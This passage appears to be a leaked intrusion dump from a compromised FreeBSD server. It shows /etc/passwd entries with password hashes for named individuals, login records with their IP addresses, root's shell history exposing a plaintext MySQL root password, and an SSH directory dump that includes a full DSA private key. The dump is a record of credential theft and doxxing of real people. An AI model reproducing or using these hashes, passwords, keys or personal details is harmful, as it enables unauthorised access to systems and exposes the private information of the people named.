Hendersen:/home/jenicole:/usr/local/bin/bash 3499 ventrilo:$1$xuRLxmKF$rFFr1KAraOSjQXdmnSDU31:3010:3010::0:0:Vent Server:/home/ventrilo:/usr/local/bin/bash 3500 teamspeak:*:3011:3011::0:0:Teamspeak Server:/usr/local/lib/teamspeak_server:/bin/sh 3501 crystal:$1$yzGs4j41$G8O47AhlS1X.ddcHK/zKi0:3012:3012::0:0:Crystal Williams (GF of DanK):/home/crystal:/bin/sh 3502 dakami:$1$muEpUjpN$u8sKOctH93SLnRgltDXMA/:3013:3013::0:0:Dan Kaminsky:/home/dakami:/bin/sh 3503 d:$1$nPgifnIS$1gWRCmi3UVXuDNb3QDMRh1:3014:3014::0:0:Dan Kaminsky:/home/d:/bin/sh 3504 %w 3505 8:35AM up 75 days, 11:44, 1 user, load averages: 0.05, 0.09, 0.08 3506 USER TTY FROM LOGIN@ IDLE WHAT 3507 crystal p0 76.14.85.220 6:47AM 1:48 sleep 60 3508 %last -n 20 3509 crystal ttyp0 76.14.85.220 Mon Jul 20 06:47 still logged in 3510 crystal ttyp0 76.14.85.220 Sun Jul 19 17:55 - 19:42 (01:46) 3511 jmondala ttyp0 m208-54.dsl.rawb Sun Jul 19 10:16 - 17:19 (07:03) 3512 effugas ttyp0 125-225-67-230.d Fri Jul 17 11:37 - 06:18 (18:40) 3513 crystal ttyp0 70-7-125-81.pool Fri Jul 17 08:15 - 11:19 (03:04) 3514 jmondala ttyp0 128-107-239-233. Thu Jul 16 22:44 - 07:27 (08:42) 3515 jmondala ttyp5 128-107-239-233. Thu Jul 16 11:29 - 13:43 (02:14) 3516 jmondala ttyp4 m208-54.dsl.rawb Thu Jul 16 11:27 - 13:44 (02:16) 3517 crystal ttyp0 76.14.85.220 Thu Jul 16 07:59 - 13:06 (05:06) 3518 jmondala ttyp4 dhcp-171-70-239- Wed Jul 15 17:58 - 21:22 (03:24) 3519 crystal ttyp0 76.14.85.220 Wed Jul 15 08:01 - 19:34 (11:33) 3520 crystal ttyp0 76.14.85.220 Tue Jul 14 22:28 - 01:50 (03:21) 3521 crystal ttyp0 72-62-116-68.poo Tue Jul 14 14:51 - 17:58 (03:06) 3522 effugas ttyp0 125-225-68-165.d Tue Jul 14 07:57 - 10:12 (02:14) 3523 crystal ttyp0 76.14.85.220 Tue Jul 14 06:03 - 07:13 (01:09) 3524 crystal ttyp0 68-27-9-22.pools Mon Jul 13 18:33 - 23:30 (04:57) 3525 psm ttyp4 128-107-239-233. Mon Jul 13 13:35 - 15:34 (01:58) 3526 crystal ttyp0 70-1-246-110.poo Mon Jul 13 12:43 - 17:00 (04:17) 3527 effugas ttyp0 125-225-68-165.d Mon Jul 13 11:47 - 11:54 (00:07) 3528 effugas ttyp7 125-225-68-165.d Mon Jul 13 10:52 - 12:48 (01:55) 3529 %cd /root 3530 %ls -la 3531 total 1016 3532 drwxr-xr-x 7 root wheel 1024 May 10 07:08 . 3533 drwxr-xr-x 22 root wheel 1024 May 5 20:47 .. 3534 -rw------- 1 root wheel 108 Sep 28 2006 .Xauthority 3535 -rw------- 1 root wheel 8791 Jun 29 06:47 .bash_history 3536 -rw-r--r-- 1 root wheel 789 Oct 3 2006 .bashrc 3537 drwxr-xr-x 5 root wheel 512 Sep 4 2007 .bittorrent 3538 -rw-r--r-- 2 root wheel 786 Jul 22 2008 .cshrc 3539 -rw------- 1 root wheel 2217 Jul 13 15:34 .history 3540 -rw-r--r-- 1 root wheel 143 Nov 3 2005 .k5login 3541 -rw------- 1 root wheel 174 Feb 17 16:02 .lesshst 3542 -rw-r--r-- 1 root wheel 293 Nov 3 2005 .login 3543 -rw------- 1 root wheel 1396 Sep 5 2008 .lsof_pmjm 3544 -rw------- 1 root wheel 5872 May 10 07:08 .mysql_history 3545 -rw-r--r-- 2 root wheel 253 Jul 22 2008 .profile 3546 -rw------- 1 root wheel 1024 Feb 17 16:05 .rnd 3547 drwx------ 2 root wheel 512 Nov 6 2008 .ssh 3548 -rw-r--r-- 1 root wheel 36086 Jul 24 2008 logo-thelivingend.gif 3549 drwx------ 2 root wheel 512 Oct 9 2006 mail 3550 -rw-r--r-- 1 root wheel 80 Jul 24 2008 modules.txt 3551 -rw-r--r-- 1 root wheel 25008 Jul 22 2008 pkgs 3552 -rw-r--r-- 1 root wheel 10380 Jul 22 2008 portmaster-list 3553 -rw-r--r-- 1 root wheel 45 Jul 22 2008 ports-byhand 3554 -rw-r--r-- 1 root wheel 811 Sep 14 2007 queue-by-email.pl 3555 -rw-r--r-- 1 root wheel 811 Sep 14 2007 queue-by-from.pl 3556 -rw-r--r-- 1 root wheel 815 Sep 14 2007 queue.pl 3557 -rw-r--r-- 1 root wheel 1565 Sep 14 2007 remove-queue-by-email.pl 3558 drwxr-xr-x 2 root wheel 512 Jul 9 2008 ventrilo_srv 3559 -rw-r--r-- 1 root wheel 148042 Nov 14 2008 ventrilo_srv-3.0.2-FreeBSD-i386.tar.gz 3560 -rw-r--r-- 1 root wheel 208458 May 29 2008 ventrilo_srv-3.0.2-Linux-i386.tar.gz 3561 drwxr-xr-x 2 500 500 512 Nov 19 2007 ventsrv 3562 %cat .bash_history 3563 grep rl /etc/dev* 3564 vi /etc/devd.conf 3565 cd /etc 3566 grep lnc * 3567 grep le * 3568 grep le0 * 3569 grep rl * 3570 grep rl *|more 3571 man dev 3572 df 3573 man devfs 3574 vi /etc/devfs.rules 3575 vi /etc/defaults/devfs.rules 3576 jobs 3577 fgt 3578 fg 3579 ifconfig rl0 3580 ifconfig lnc0 3581 grep lnc * 3582 grep lnc */* 3583 grep lnc */*/* 3584 grep lnc */*/*/* 3585 grep lnc */*/*/*/* 3586 sync 3587 shutdown -r now 3588 PATH=/bin:/usr/bin:/sbin:/usr/sbin; umask 022; unset TMOUT 3589 set 3590 cd /usr/src 3591 make cleandir 3592 cd /usr/adm 3593 make update 3594 pwd 3595 pushd /sys/i386/conf/ 3596 ls 3597 vi GENERIC 3598 ls 3599 unalias vi 3600 vi GENERIC 3601 grep COMPAT43 * 3602 ls 3603 fg 3604 grep lnc * 3605 ifconfig -a 3606 grep rl * 3607 ls 3608 vi GENERIC 3609 pwd 3610 popd 3611 mergemaster -p 3612 cd /usr/adm && 3613 cd /usr/adm && make world-build kernel-build 3614 pwd 3615 /etc/rc.d/sendmail stop 3616 ps -awux 3617 /usr/local/etc/rc.d/sa-spamd stop 3618 ps -auwx 3619 ps -auwx|more 3620 ps -auwx|grep send 3621 make world-install kernel-install 3622 ls /etc/rc.d/ike 3623 rm -f /etc/rc.d/ike /etc/rc.d/pccard /etc/rc.d/pcvt /etc/rc.d/ramdisk 3624 rm -f /etc/rc.d/ramdisk-own /etc/rc.d/usbd 3625 pwd 3626 make etc 3627 make clean 3628 w 3629 sync 3630 vi /etc/rc.conf 3631 ls /dev/net/rl0 3632 ls -l /dev/net/rl0 3633 ls /dev 3634 ls /etc 3635 ls /etc/d* 3636 grep rl /etc/dev* 3637 vi /etc/devd.conf 3638 cd /etc 3639 grep lnc * 3640 grep le * 3641 grep le0 * 3642 grep rl * 3643 grep rl *|more 3644 man dev 3645 df 3646 man devfs 3647 vi /etc/devfs.rules 3648 vi /etc/defaults/devfs.rules 3649 jobs 3650 fgt 3651 fg 3652 ifconfig rl0 3653 ifconfig lnc0 3654 grep lnc * 3655 grep lnc */* 3656 grep lnc */*/* 3657 grep lnc */*/*/* 3658 grep lnc */*/*/*/* 3659 sync 3660 shutdown -r now 3661 PATH=/bin:/usr/bin:/sbin:/usr/sbin; umask 022; unset TMOUT 3662 ( for dir in /bin /sbin /usr/bin /usr/sbin /usr/libexec /usr/libdata; do find $dir -mtime +2 -type f -xdev -print; find $dir -mtime +2 -type l -xdev -print; done ) >/tmp/remove 3663 vi /tmp/remove 3664 unalias vi 3665 vi /tmp/remove 3666 which perl 3667 whereis perl 3668 ls -l /usr/bin/perl 3669 ls -l /usr/local/bin/perl5.8.8 3670 mv /tmp/remove ~psm/remove-old1 3671 ( for dir in /lib /usr/lib; do find $dir -mtime +2 -type f -xdev -print; find $dir -mtime +2 -type l -xdev -print; done ) | grep -v /usr/lib/compat >/tmp/move 3672 vi /tmp/move 3673 for x in `cat /tmp/move`; do chflags noschg $x; mv $x /usr/lib/compat/; done 3674 cd /usr/src; make BATCH_DELETE_OLD_FILES=YES delete-old delete-old-libs 3675 w 3676 w 3677 shutdown -r now 3678 ls 3679 cd /home/ventrilo/ 3680 ls 3681 grep vent ~/.bash_history 3682 vi ventrilo_srv.htm 3683 unalias vi 3684 vi ventrilo_srv.htm 3685 ls 3686 ./ventrilo_srv -h 3687 mv /root/ventsrv_bsd . 3688 ls 3689 cd ventsrv_bsd/ 3690 ls 3691 cp ../ventrilo_srv.ini . 3692 ./ventrilo_srv 3693 cd /home/ventrilo/ 3694 ls 3695 ./ventrilo_srv & 3696 grep ssj /etc/passwd 3697 vipw 3698 vipw 3699 vipw 3700 passwd mouseaccess 3701 passwd mooseaccess 3702 cd /export/www/yourmom.sh 3703 vi nerd.php3 3704 vi nerd.php3 3705 df -h 3706 cd /var/log/ 3707 ls 3708 ls -l 3709 ls 3710 rm httpd-access.log.122* 3711 du -hs 3712 df -h 3713 cd - 3714 vi nerd.php3 3715 df -h 3716 apachectl startssl 3717 apachectl start 3718 vipw 3719 passwd mooseaccess 3720 passwd mooseaccess 3721 cd /home/ 3722 ls 3723 vipw 3724 mkdir mooseaccess 3725 chown mooseaccess mooseaccess/ 3726 cd mooseaccess/ 3727 ln -s /export/www/roomwithamoose.com . 3728 ls 3729 ls -l 3730 cd ventrilo_srv 3731 ls 3732 cd /home/ventrilo/ 3733 ls 3734 ./ventrilo_srv -h 3735 wget http://www.ventrilo.com/dlprod.php?id=102 3736 cd /root/ 3737 ls 3738 cd ventrilo_srv 3739 ls 3740 cd .. 3741 tar zxvf ventrilo_srv-3.0.2-FreeBSD-i386.tar.gz 3742 cd ventsrv/ 3743 ls 3744 ./ventrilo_srv 3745 top 3746 df -h 3747 cd /var/log/ 3748 ls 3749 du -hs 3750 ls -l 3751 rm httpd-access.log.1226016000 3752 df -h 3753 df -h 3754 top 3755 cd /export/www/roomwithamoose.com/vbulletin 3756 ls 3757 du -hs 3758 rm forumbackup-01-* 3759 rm forumbackup-0* 3760 df -h 3761 df -h 3762 ls 3763 ls ../vbulletin_archive/ 3764 cd .. 3765 ls 3766 cd backup 3767 ls 3768 cd ../backups/ 3769 ls 3770 rm * 3771 cd ../vbulletin 3772 ls 3773 mv forumbackup-1* ../backups/ 3774 df -h 3775 top 3776 cd /export/www/roomwithamoose.com/ 3777 ls 3778 rm -rf vbulletin.bak/ 3779 cp -Rp vbulletin vbulletin.bak 3780 rm -rf vbulletin.bak/ 3781 cp -Rp vbulletin vbulletin.bak 3782 cd vbulletin 3783 ls 3784 cd install/ 3785 ls 3786 mv install.php install.php.bak 3787 cd ../includes/ 3788 ls 3789 diff config.php config.php.new 3790 cd /export/www/ 3791 cd yourmom.sh 3792 ls 3793 cd misc/ 3794 ls 3795 ls 3796 cd /home/ventrilo/ 3797 ./ventrilo_status 3798 cd /export/www/yourmom.sh 3799 vi nerd.php3 3800 unalias vi 3801 vi nerd.php3 3802 cd /var/log/ 3803 ls 3804 ls -al 3805 rm httpd-access.log.1230* 3806 rm httpd-access.log.1231* 3807 df -h 3808 rm httpd-access.log.1232* 3809 df -h 3810 ls 3811 ls -al 3812 cd .. 3813 ls 3814 cd mail 3815 ls 3816 du -hs 3817 ls -al 3818 cd jcrossley 3819 rm jcrossley 3820 touch jcrossley 3821 chown jcrossley.jcrossley jcrossley 3822 chown jcrossley jcrossley 3823 chgrp jcrossley jcrossley 3824 ls -al 3825 df -h 3826 df -h 3827 vi /etc/mail/aliases 3828 unalias vi 3829 vi /etc/mail/aliases 3830 vi /etc/mail/virtusertable 3831 cd /etc/mail 3832 make 3833 cd /var/mail 3834 ls 3835 ls -al 3836 du -hs 3837 df -h 3838 cd ../log 3839 du -hs 3840 cd - 3841 ls 3842 ls -al 3843 cd .. 3844 ls -al 3845 df -h 3846 ls backups/ 3847 ls spool/ 3848 ls db/ 3849 ls msgs/ 3850 vi /usr/local/etc/php.ini 3851 unalias vi 3852 vi /usr/local/etc/php.ini 3853 apachectl graceful 3854 ls 3855 cd /export/www/ 3856 ls 3857 ls -al 3858 mkdir coreynewmanphoto.com 3859 chown coreynewmanphoto.com dire 3860 chown dire coreynewmanphoto.com 3861 chmod -R 777 coreynewmanphoto.com/ 3862 cd coreynewmanphoto.com/ 3863 vi index.html 3864 vi /usr/local/etc/apache22/httpd.conf 3865 apachectl graceful 3866 cd /home/dire/ 3867 ls 3868 ls -al 3869 ln -s coreynewmanphoto.com /export/www/coreynewmanphoto.com/ 3870 ls -l 3871 cd /export/www/ 3872 ls 3873 ls -al 3874 cd - 3875 ln -s /export/www/coreynewmanphoto.com/ coreynewmanphoto.com 3876 ls -al 3877 cd /home 3878 ls 3879 cd karin/ 3880 ls 3881 cd /export/www/ 3882 ls 3883 nslookup dreamhost.com 3884 nslookup ns1.dreamhost.com 3885 nslookup ns2.dreamhost.com 3886 nslookup ns3.dreamhost.com 3887 cd /home 3888 ls 3889 ls /export/www/ 3890 cd /export/www/ 3891 cd co 3892 cd coreynewmanphoto.com/ 3893 ls 3894 scp -r * dire@professorx.dreamhost.com:coreynewmanphoto.com/ 3895 scp -r * dire@professorx.dreamhost.com: 3896 sftp dire@professorx.dreamhost.com 3897 ls 3898 ls -al 3899 rm coreynewmanphoto.com 3900 ls 3901 cd ../jayzendesigns.com/ 3902 ls 3903 cd ../johnzentner.com/ 3904 ls 3905 cd ../lovebugknits.com/ 3906 ls -al 3907 cd LoveBug\ Site_files/ 3908 ls 3909 cd .. 3910 ls 3911 tar cvf lovebug.tar LoveBug\ Site_files 3912 cd /home/andyw/ 3913 ls 3914 scp -r * andeverwash@professorx.dreamhost.com: 3915 vi /etc/mail/virtusertable 3916 unalias vi 3917 vi /etc/mail/virtusertable 3918 nslookup ns1.dreamhost.com 3919 nslookup ns2.dreamhost.com 3920 nslookup ns3.dreamhost.com 3921 cd /export/www/yourmom.sh 3922 ls 3923 scp -r * ehampshire@professorx.dreamhost.com:yourmom.sh/ 3924 cat ~/.ssh/id_dsa.pub 3925 scp -r * ehampshire@professorx.dreamhost.com:yourmom.sh/ 3926 cd ../ehampshire.com/ 3927 scp -r * ehampshire@professorx.dreamhost.com:ehampshire.com/ 3928 cd ../lovebugknits.com/ 3929 ls 3930 cd ../jayzendesigns.com/ 3931 ls 3932 scp -r * jaymi@professorx.dreamhost.com:jayzendesigns.com/ 3933 scp -r * jaymi@professorx.dreamhost.com:jayzendesigns.com/ 3934 scp -r * jaymi@professorx.dreamhost.com: 3935 sftp jaymi@professorx.dreamhost.com 3936 cd ../lovebugknits.com/ 3937 ls 3938 sftp jenicole@professorx.dreamhost.com 3939 cd /home/ciagon/public_html/ 3940 ls 3941 scp -r * ehampshire@professorx.dreamhost.com:yourmom.sh/ciagon/ 3942 cd ../../dante/pu 3943 cd ../../dante/ 3944 ls 3945 cd /export/www/norcalparties.com/ 3946 ls 3947 sftp jcrossley2@professorx.dreamhost.com 3948 mysql -u root -pfuck.mysql 3949 mysql -u root -pfuck.mysql 3950 df -h 3951 cd /export/www/roomwithamoose.com/ 3952 ls 3953 mysqldump --opt -Q -uroot -p vbulletin > vbulletin_db.sql 3954 ls 3955 cd closet 3956 ls 3957 cd .. 3958 cd .. 3959 ls 3960 cd zim 3961 ls 3962 scp -r * ehampshire@professorx.dreamhost.com:roomwithamoose.com/ 3963 cd ../roomwithamoose.com 3964 ls 3965 vi index.php 3966 unalias vi 3967 cat index.php 3968 scp index.php ehampshire@professorx.dreamhost.com:roomwithamoose.com/ 3969 cd ../ehampshire.com/magic/ 3970 ls 3971 cd .. 3972 scp -r magic ehampshire@professorx.dreamhost.com:roomwithamoose.com/ 3973 top 3974 cd /export/www/roomwithamoose.com/ 3975 scp -r * ehampshire@professorx.dreamhost.com:roomwithamoose.com/ 3976 cd /export/www/policethepolice.com 3977 ls 3978 cd .. 3979 tar czvf policethepolice.com.tgz policethepolice.com 3980 ln -s policethepolice.com.tgz /home/dire/ 3981 cd /home/dire/ 3982 ls -l 3983 chmod 777 policethepolice.com.tgz 3984 rm policethepolice.com.tgz 3985 ln -s /export/www/policethepolice.com.tgz . 3986 ls -l 3987 chmod 777 policethepolice.com.tgz 3988 cd public_html/ 3989 ls 3990 cd /export/www/coreynewmanphoto.com/ 3991 ls 3992 cd ../policethepolice.com 3993 ls 3994 find . |grep counter 3995 cd .. 3996 ls 3997 cd zim 3998 ls 3999 cd ../yourmom.sh 4000 ls 4001 find . |grep counter 4002 vi index.php3 4003 unalias vi 4004 vi index.php3 4005 vi top.php3 4006 vi bottom.php3 4007 cd ../policethepolice.com 4008 ls 4009 vi index.php.orig 4010 vi index.php 4011 vi ../counter.php3 4012 mysqladmin -h 4013 mysqladmin --help 4014 mysqldump -h 4015 mysqldump --help 4016 mysqldump -uroot -pfuck.mysql counter > /tmp/counter_db.sql 4017 vi /tmp/counter_db.sql 4018 mysql -u counter_db -p -h mysql.yourmom.sh yourmom_counter_db < /tmp/counter_db.sql 4019 mysql -u counter_db -p -h mysql.yourmom.sh yourmom_counter_db < /tmp/counter_db.sql 4020 mysql -u counter_db -p -h mysql.yourmom.sh yourmom_counter_db < /tmp/counter_db.sql 4021 scp /tmp/counter_db.sql ehampshire@professorx.dreamhost.com: 4022 fg 4023 cd .. 4024 cp counter.php3 /home/dire/ 4025 cd /home/jaymi/public_html/photos/ 4026 ls 4027 cd .. 4028 tar zcvf jaymi_photos.tgz photos/ 4029 cd /export/www/ 4030 mkdir colo.pmjm.com 4031 chmod 777 colo.pmjm.com/ 4032 cd colo. 4033 cd colo.pmjm.com/ 4034 vi index.html 4035 unalias vi 4036 vi index.html 4037 vi /usr/local/etc/apache22/httpd.conf 4038 cd /usr/local/www/ 4039 ls 4040 ls 4041 cd data/ 4042 ls 4043 cd .. 4044 vi index.html 4045 fg 4046 apachectl graceful 4047 cd /export/www/ 4048 ls 4049 vi /usr/local/etc/apache22/httpd.conf 4050 apachectl graceful 4051 cd colo.pmjm.com/ 4052 ln -s /home/jaymi/public_html/jaymi_photos.tgz . 4053 ls 4054 vi index.html 4055 nslookup photos.jayzendesigns.com 4056 nslookup jayzendesigns.com 4057 nslookup 67.205.60.48 4058 nslookup 208.97.187.239 4059 cd /export/www/johnzentner.com/ 4060 ls 4061 scp -r index.html jaymi@professorx.dreamhost.com:johnzentner.com/ 4062 scp -r images jaymi@professorx.dreamhost.com:johnzentner.com/ 4063 %ls -la 4064 total 1016 4065 drwxr-xr-x 7 root wheel 1024 May 10 07:08 . 4066 drwxr-xr-x 22 root wheel 1024 May 5 20:47 .. 4067 -rw------- 1 root wheel 108 Sep 28 2006 .Xauthority 4068 -rw------- 1 root wheel 8791 Jun 29 06:47 .bash_history 4069 -rw-r--r-- 1 root wheel 789 Oct 3 2006 .bashrc 4070 drwxr-xr-x 5 root wheel 512 Sep 4 2007 .bittorrent 4071 -rw-r--r-- 2 root wheel 786 Jul 22 2008 .cshrc 4072 -rw------- 1 root wheel 2217 Jul 13 15:34 .history 4073 -rw-r--r-- 1 root wheel 143 Nov 3 2005 .k5login 4074 -rw------- 1 root wheel 174 Feb 17 16:02 .lesshst 4075 -rw-r--r-- 1 root wheel 293 Nov 3 2005 .login 4076 -rw------- 1 root wheel 1396 Sep 5 2008 .lsof_pmjm 4077 -rw------- 1 root wheel 5872 May 10 07:08 .mysql_history 4078 -rw-r--r-- 2 root wheel 253 Jul 22 2008 .profile 4079 -rw------- 1 root wheel 1024 Feb 17 16:05 .rnd 4080 drwx------ 2 root wheel 512 Nov 6 2008 .ssh 4081 -rw-r--r-- 1 root wheel 36086 Jul 24 2008 logo-thelivingend.gif 4082 drwx------ 2 root wheel 512 Oct 9 2006 mail 4083 -rw-r--r-- 1 root wheel 80 Jul 24 2008 modules.txt 4084 -rw-r--r-- 1 root wheel 25008 Jul 22 2008 pkgs 4085 -rw-r--r-- 1 root wheel 10380 Jul 22 2008 portmaster-list 4086 -rw-r--r-- 1 root wheel 45 Jul 22 2008 ports-byhand 4087 -rw-r--r-- 1 root wheel 811 Sep 14 2007 queue-by-email.pl 4088 -rw-r--r-- 1 root wheel 811 Sep 14 2007 queue-by-from.pl 4089 -rw-r--r-- 1 root wheel 815 Sep 14 2007 queue.pl 4090 -rw-r--r-- 1 root wheel 1565 Sep 14 2007 remove-queue-by-email.pl 4091 drwxr-xr-x 2 root wheel 512 Jul 9 2008 ventrilo_srv 4092 -rw-r--r-- 1 root wheel 148042 Nov 14 2008 ventrilo_srv-3.0.2-FreeBSD-i386.tar.gz 4093 -rw-r--r-- 1 root wheel 208458 May 29 2008 ventrilo_srv-3.0.2-Linux-i386.tar.gz 4094 drwxr-xr-x 2 500 500 512 Nov 19 2007 ventsrv 4095 %cat .ssh/* 4096 ssh-dss 4097 AAAAB3NzaC1kc3MAAACBAPIdIVk8OzaPgMdWSWHwLAeuzGrXA3XUnmT/5AKqVOA2shN0f1hSZ9LNVmG 4098 aX4N/WLsVXkUIsL2aoq09Iq5HuCyqQGLdt4d64jOcNNtv+eRcIutSO4oEqu9/SmeeuXJ0bClyeLYvT9 4099 WTD11tQYw3wv+WdOATd8T3EgJ06RMZfCDpAAAAFQDbmyaf4ZLGfBfqZww2dJxjeig+iQAAAIAVon040 4100 L4PmVbd0K1bvJLhNGpjnvtYRK61AZgvSwsJzu3QPSmv+6d5/xIlKGTbtk/CfapWKktUPS4EProhko79 4101 nyZsOYeK/rzQQqMabMVsl6p+HoJILOQDvdk4rFvSmZ3CrxC7PB19smPP+9/adUPFXH1bw6zVXbCda+t 4102 PAZ9+kQAAAIEA6/jKovlWI5862/bfnBoeFcVAF0L8H3ACdNfIp5AJZxJjp44eJFdVpLduZToc+NXXmJ 4103 FtPc31JBWSd43HLyK3VpVMymOjxJ2Z7ec4dnAjQymQQ6RxQrXy/bxtG3uyLT/SlDhg+HYKa2gIWiDyO 4104 7he3kS/Iq1PNXn3SJPyjItIc08= root@mail.pmjm.net 4105 ssh-dss 4106 AAAAB3NzaC1kc3MAAACBAOHD2a5BTbjF0ZgdPJDvdHBF8mPUUm9xsZ0x6lLn1bxp1tgZecaBlRVFY72 4107 zT81wMDQ4vHsPv7KGkX6+CTu/cAFrCLQesU6g2IRbzQwDSsD10GxUMwX9CPONWpNgF7qeZwWK7UhaIL 4108 qEsIyKy36lkPuQRd0N9AlJURBhsyT15Sh5AAAAFQC52vI+Ivva/7ZAu4pIw7E7Ow6C5QAAAIEA05nnL 4109 BvwleDrFul39TWVL1KZGewJCy7zQfynJvdB1T43v0VTpNOFXKga+TyawniW38uYQWOWiygpR/wgOosk 4110 /8GGiqolXPAy6ft28sn1pa4nYVD31UXHYYLSCWpX/egm4ftD+gI8hDNs+vKLhbnca+5jygzusxz5RPa 4111 FUDzbsBkAAACBAJHFjq2ledzJSTcg1RPMd599CY8cMlEIP2EHgSOugE2brTWkxZGSwTjkzxzEnebEHc 4112 aHXUCEsFERY8uJ24mWdaZuKNT/+Renr/771ygWKPP6KOcS+sRtljdG/rplGmbEDyXZB4+ppf5bEnaGg 4113 0/eoYIJtJjxI7PXGI1wW41Vtde4 ehampshi@yourmom.cisco.com 4114 ssh-dss 4115 AAAAB3NzaC1kc3MAAACBAJ5aBFavFNEIO/0Ut0dp5a/tPd3RevxwhvEn1fmzEtKntlhq56CAGrCrOgO 4116 3VmrLBVGiZJf1+xTziJxj0pOJdigOj4SYSFuVeRcgh6vv28gf7yOJ+l+liwcZKepV0c53riV/FgODXc 4117 8QzkLHMb74IjEGKxwA/LZyge51vh2N8VOxAAAAFQCmy5hpwf74M7J0BgXxPKj6C3xQAwAAAIAvPjmgf 4118 GN5VkMBObu/wX8Y2WzDEzKDXqS+GNQHhc/baH8ui1kl6pAqlXWznY1TA7sjFW9+TGFXnEM+UfB2dWmJ 4119 RJX5BGpJ3Yvq5CtbW0pwu+FOwOKtg5wYSYuNgmfrujvcXVsAsvmdpMwowAhbD7ke6G98aGjdGPAfPv7 4120 v2FM8jwAAAIEAkokWe8uvkEMVRTxuWN28l3+ZGCTrKCPg3/OJbBaoPdjz5J2b2A0Fwln5pfpLg+3UDW 4121 6GCRNImS/S00VBwH857COYtjzygZwm1d7gFbU9kCiKCVsLvv+ze+9DFLVqwbJcASLPRVyC/8G6oTWq3 4122 hpumFPxJ3dyyYrKYRTxNIgv9Cg= root@yourmom.dhs.org 4123 ssh-dss 4124 AAAAB3NzaC1kc3MAAACBAMxINpxOYd8h/Wvj73sRIWDH4Ed3lCzRhI6Wvms6vw8NIyp6mfbXye+2aMw 4125 Pso4n9gT76C8ocoU/uowL46INmyQAvk0bhSXD6Mto/HO2eHGxNvCyRP5wlKW168DD/xhNtFeexJfBlI 4126 B+HmgUGtjD5mFQknjxB8sNqoZvLgyRie9jAAAAFQDDzZGZxx+zgvEam5G4ams6Vvd+gwAAAIEAyWEtB 4127 FrAhSh9G9QqN7AwUZyAh2N/CwBifEuhJcIoy9NKPijlTtlafRJQd1DdATCuFHvrggC304EGXUC4/dSk 4128 wY+uaWwy/+85TbKCuwC4IbvFqkEWF+mZ0tG/2Zx/hRQY9+766iPTa1tUrCocqRzErCa7iB6Kp40D/cU 4129 R0bvi7HwAAACBALzDvjEz55xnPnLz9lKg5h6hedN28KocEzG/2kgWbepFv/pO8zhPryMYS4t+Ve7+Ns 4130 5ohGdR1TOP8yw6Zuq3uSRBiXvOFbVy8feh8ZpbxYpRTZWCOd+vzSPQwJLqjFZdOaMVurbwECNinau7B 4131 K1xxb1H90GVoPlO6rWQF4uSC6yg root@bsd.yourmom.dhs.org 4132 ssh-dss 4133 AAAAB3NzaC1kc3MAAACBAIde1/OdSV0PlVBQMg1hu0ViHg7MdK8vzYN/ZsqF45Imc6Xov6P7+nTh3/l 4134 TbAcE+rF81/m/rxazLfFx3jHIvzvMru2cLAg8YrGnrAnFwR8dniglzPf4sJJqc0mOh4iLZv9LzPzjxg 4135 Q68VtfQ0wjWltPJ2i7EZmp1S75u23dm9snAAAAFQCLkkbU/P0946kdI0ldQd1OvtEdAQAAAIEAhCzM9 4136 zDXdVoAXKYtU4iXy1MeEz/00HcfIpmzLfEN3tgSpycg0FP3/box1SKebDxymUPTw4PQ03PxMH4sQKpy 4137 1rG5uXT01IQAoyvlVOfa9dQTuPzTEeKCPVY9cFF3Ft/uOzMhDedoB+OSomPDBiSqDft34mhhvn3T7bC 4138 GCwb/No8AAACABtgyhSRBJIW+lJmlqCAAGYmdfNExPU64WEJ4nMB5U5Y2tbsZN1ZzMe0RoktjSuvBEn 4139 O9SXZDtaRRLmVJwqo3LU16lx9YUhS6LpsdBTwHADfcO29Ti346vvTTcQrMf9bAG35lWmteUdvx79B2U 4140 dZNccka63bOGHBMykX9kSwL6W0= root@pmjm 4141 ssh-dss 4142 AAAAB3NzaC1kc3MAAACBANZz1pGeGxfi1hn6seIFHQI+8rq+B/ZIE/1IJ03Rz6MZRD49hKZIw3g/WH+ 4143 F+2lrGraSXJl5MPyr5Ig+ZoBKvPV91sRYwxkhqxvlhI6a+l/wG/jeFzA/G4nMipw3hjEyC7jRFU2UAi 4144 tAp/EAznbBOyPFFRcMLbQx85r3QenszEEpAAAAFQDGLWOj9IAc0Kbd2KqcC1eOES3AVQAAAIAK1xdhe 4145 X58yhJIDIhICsn+NNvgk4NB+XcXVUeHb/qsLwh63JK4xaVqlO5yeJ0oLET+Krr3W0nXXjFV77FTEMet 4146 JFub7cIPwAyN5l1Gq1hK6VUvbqEHwUkLmXORpZgccXRaGTlcDcoZtrNebRO5hjQ+ZHn+qhOpWk1/OVl 4147 ef/gWuQAAAIA1yiO2pF2DwCtbns1HGW+UyHQSZPcZxf2JfFoBGvJkUWt4tSJ2VP+kDbMwoEHZlXcXtt 4148 Idh81FZkYLKN87xsanO6ALTsfAtl34sdvGFZu0JKHjhZ1Z9s5iQq1fdbsRPMMKStLF2g2oUaxag+hnU 4149 +nVUo7U7oY9vqQ7YHcHiZZ4WA== root@mail.pmjm.net 4150 4151 -----BEGIN DSA PRIVATE KEY----- 4152 MIIBuwIBAAKBgQCHXtfznUldD5VQUDINYbtFYh4OzHSvL82Df2bKheOSJnOl6L+j 4153 +/p04d/5U2wHBPqxfNf5v68Wsy3xcd4xyL87zK7tnCwIPGKxp6wJxcEfHZ4oJcz3 4154 +LCSanNJjoeIi2b/S8z848YEOvFbX0NMI1pbTydouxGZqdUu+btt3ZvbJwIVAIuS 4155 RtT8/T3jqR0jSV1B3U6+0R0BAoGBAIQszPcw13VaAFymLVOIl8tTHhM/9NB3HyKZ 4156 sy3xDd7YEqcnINBT9/26MdUinmw8cplD08OD0NNz8TB+LECqctaxubl09NSEAKMr 4157 5VTn2vXUE7j80xHigj1WPXBRdxbf7jszIQ3naAfjkqJjwwYkqg37d+JoYb590+2w 4158 hgsG/zaPAoGABtgyhSRBJIW+lJmlqCAAGYmdfNExPU64WEJ4nMB5U5Y2tbsZN1Zz 4159 Me0RoktjSuvBEnO9SXZDtaRRLmVJwqo3LU16lx9YUhS6LpsdBTwHADfcO29Ti346 4160 vvTTcQrMf9bAG35lWmteUdvx79B2UdZNccka63bOGHBMykX9kSwL6W0CFDbp33kB 4161 xw6DxCinOr0mvqMUhGOT 4162 -----END DSA PRIVATE KEY----- 4163 ssh-dss 4164 AAAAB3NzaC1kc3MAAACBAIde1/OdSV0PlVBQMg1hu0ViHg7MdK8vzYN/ZsqF45Imc6Xov6P7+nTh3/l 4165 TbAcE+rF81/m/rxazLfFx3jHIvzvMru2cLAg8YrGnrAnFwR8dniglzPf4sJJqc0mOh4iLZv9LzPzjxg 